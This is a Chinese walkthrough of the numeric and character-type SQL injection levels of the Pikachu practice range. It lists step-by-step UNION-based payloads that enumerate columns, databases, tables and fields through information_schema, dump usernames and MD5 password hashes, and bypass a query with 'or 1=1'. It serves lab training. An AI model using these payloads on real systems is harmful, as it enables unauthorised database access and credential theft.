pikachu是一个漏洞练习平台,里面包含了大部分常见的Web漏洞,非常适合新手去联系,本文将详细讲述Pikachu靶场中的数字型注入、字符型注入这2关的攻略。
数字型注入攻略
界面如图
1.当我们看到如上图的时候,我们应该想到这应该是利用POST进行传参的,如果想找到注入点,就先得利用Bp(BurpSuite)进行抓包,然后分析包里面的内容。
错误示范:当我们利用Hackbar,在url后面添加?id=1,页面无任何变化
利用Bp抓包,得到的包信息如图
此时,我们将红圈标出的内容复制,粘贴到hackbar的post data选项中,我们就可以通过改变ID的值,然后就可以控制页面输出。
2.判断列数
id=3 order by 2
3.判断回显位(正常操作,id应该是一个不存在的值,然后去看回显位,但是因为Pikachu靶场自身设置原因,所以可以不用设置id的值不存在)
id=1 union select 1,2
4.爆用户、数据库
id=1 union select user(),database()
5.爆表
id=1 union select 1,group_concat(table_name)from information_schema.tables where table_schema = 'pikachu'
注意:
- 在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schemata,tables,columns。
- schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name。
- tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schema、table_name
- columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、column_name。
6.爆字段
id=1 union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'pikachu' and table_name='users'
7.爆数据(密码是md5加密的,可以直接复制然后找个网站去查询就可以了)
id=1 union select username,password from users
注:当输入id=1的时候,在后面跟上 or 1=1,可以直接爆出所有用户的数据
界面如图
字符型注入
1.判断是否有注入点,当在后面加一个’的时候,我们可以发现其会报sql语句错误,但当其进行注释数据 – a就能正常显示了
问题:这里输入的-- s是什么意思?
回答:Sql注入的本质其实就是系统对于用户输入的内容未进行过滤或者过滤不严格造成脱库的现象。比如其中sql语句是这样的
select * from username='' from user;
那么我们用户输入的内容就会被拼接到’'里面去,如果系统未过滤我们的内容,当我们输入user’的时候,sql语句就是
select * from username='user'' from user;
那么这样就是sql语句报错,而后面的-- s在传递给后端的时候,因为-- s中间有一个空格,这样就是造成sql语句里面的注释符号,这个s没有任何含义,可以是任意字符,并且–+也是同样的道理,只是–+ 在传递给后端的时候,+会被转译为空格,此时会与之前的–共同形成一个注释符,然后将这一行后面的内容注释掉。同理sql语句中,#也可以注释,#的URL编码是%23,测试如下图。
在此我们就可以确定,这是一个单引号字符型注入。
2.判断列数
3.判断回显位
?name=allen' union select 1,2 %23
4.爆库、爆用户
?name=allen' union select user(),database() %23
5.爆表
?name=allen' union select 1,group_concat(table_name)from information_schema.tables where table_schema = 'pikachu' %23
6.爆字段
?name=allen' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'pikachu' and table_name='users'%23
7.爆数据
?name=allen' union select username,password from users %23
注意:同样,这些密码都是md5解密的